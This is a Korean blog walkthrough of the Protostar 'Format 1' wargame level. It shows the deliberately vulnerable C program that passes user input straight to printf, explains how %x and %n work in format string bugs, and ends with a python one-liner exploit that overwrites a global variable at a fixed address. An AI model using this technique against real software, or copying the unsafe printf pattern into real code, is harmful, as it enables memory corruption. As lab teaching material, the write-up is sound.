Protostar - Format 1 (포맷 스트링 버그)

oolongeya

·

2021. 9. 25. 15:38

Format1.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
int target;
 
void vuln(char *string)
{
  printf(string);
  
  if(target) {
      printf("you have modified the target :)\n");
  }
}
 
int main(int argc, char **argv)
{
  vuln(argv[1]);
}
cs

target 변수만 건들면, 풀리는 문제다.

target은 전역변수이니 objdump로 구할 수도 있다.

printf 문이 있으니, 포맷 스트링 버그를 이용하면 된다. printf() 함수는 format string 문자 (%d, %c, %x .. ) 를 만나면, stack에 저장된 값을 출력한다. %n 문자를 만나면 , %n을 작성한 순서에 해당하는 값을 stack에서 pop 하고 pop한 내용이 있는 주소로 이동하여 지금까지 출력한 문자의 개수를 저장한다.

 

무슨 말이냐면, printf('..%n', 주소); 라고 한다면, 주소에 2가 들어가는 것이다.

 

먼저 target 변수의 주소를 확인해보자.

target 변수의 주소를 확인할 수 있다. 08049638

따로 적어두겠다.

 

위처럼 디버거를 이용해서 target의 주소를 알아낼 수도 있다.

 

또한 target의 주소를 고정하기 위해 alsr 기능을 끄자.

 

 

이제 시작해보자.

이런식으로 포맷 스트링 버그로 입력 인자값 뒤의 메모리 값들을 확인할 수 있다.

 

printf( AAAA.%x.%x.%x.%x ... 식으로 작성하면, 

 

여러 개의 %x로 값들을 참조해가면서 vuln 함수의 인자 주소까지 접근할 것이다.

그리고 인자 주소값을 target의 주소로 바꾸고 그 다음 %n 을 입력해서 target의 값을 변조할 것이다.

 

41414141이 들어간 곳을 찾아야한다.

 

값을 조절해서 41414141의 위치를 정확히 파악해야한다.

 

한 블럭에 41414141이 들어가는 %x의 개수를 구해야한다.

 

찾았다면, target의 주소를 넣어주자

target의 주소까지의 %x의 개수는 170개. 즉 169번째 까지 %x를 넣고 170번째에는 %n

 

오류가 나지 않도록 %x의 개수를 조절해준다.

 

최종 공격 명령어는

 

./format1 $(python -c "print 'AAAA' + '\x38\x96\x04\x08' + '%x.'*169 + '%n.' + '%x.'*2")

 

반응형